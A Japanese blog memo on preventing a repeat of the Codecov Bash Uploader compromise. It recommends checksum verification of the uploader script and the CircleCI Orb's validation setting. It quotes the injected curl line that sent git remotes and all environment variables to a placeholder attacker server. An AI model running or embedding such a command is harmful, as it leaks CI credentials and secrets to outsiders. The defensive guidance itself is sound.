Carpe Diem

備忘録

CodecovのBash Uploader問題の再発防止策

概要

コードカバレッジサービスのCodecovでは、カバレッジファイルをアップロードする際に以下のようにbash scriptを実行します。

bash <(curl -s https://codecov.io/bash)

ref: Codecov Bash uploader

しかし先日、このbash scriptが何者かに勝手に改竄されている問題が発生しました。

about.codecov.io

改竄されたスクリプトでは

curl -sm 0.5 -d$(git remote -v)<<<<<< ENV $(env)” http://ATTACKER_SERVER/upload/v2 || true

という処理が埋め込まれており、CI処理などで環境変数に設定していた情報が全てアタッカーのサーバへ送信されてしまうことになります。

一次対応として送信された機密情報のローテーションは必須ですが、二次対応として今後同じ問題が起きないよう再発防止策の導入も必要となります。

環境

  • codecov bash 1.0.2
  • codecov/codecov 1.1.5

再発防止策

今回問題は

2つを比較したユーザがおり、そこからチェックサムが異なることで発覚しました。

なので対応策もそれに則って導入します。

  1. 自前スクリプト
  2. CircleCI Orb

のそれぞれのケースで説明します。

自前スクリプト

TravisCIやJenkinsで自前で処理を書く場合です。

カバレッジファイルのアップロード前に以下の処理を実行します。

curl -s https://codecov.io/bash > codecov
VERSION=$(grep '^VERSION=\"[0-9\.]*\"' codecov | awk -F '"' '{print $2}')
shasum -c --ignore-missing <(curl -s https://raw.githubusercontent.com/codecov/codecov-bash/${VERSION}/SHA256SUM)

ポイント

CircleCI Orb

CircleCI 2.1以降ではOrbが使えます。1.1.4以降を使ってください。

circleci.com

デフォルト設定ですが、validate_url: trueの際にchecksumによる検知を行ってくれます。

orbs:
  codecov: codecov/codecov@1.1.5
...

coverage:
    executor: default
    steps:
      - attach_workspace:
          at: /go
      - run:
          name: "Coverage"
          command: |
            go test -coverprofile=coverage -covermode=count ./...
      - codecov/upload:
          file: coverage

まとめ

公式で書かれている通りのやり方に関わらず、生のスクリプトをそのまま実行するのは今回のような問題が起きうるのでchecksumのように何かしら改竄チェックを入れることが重要です。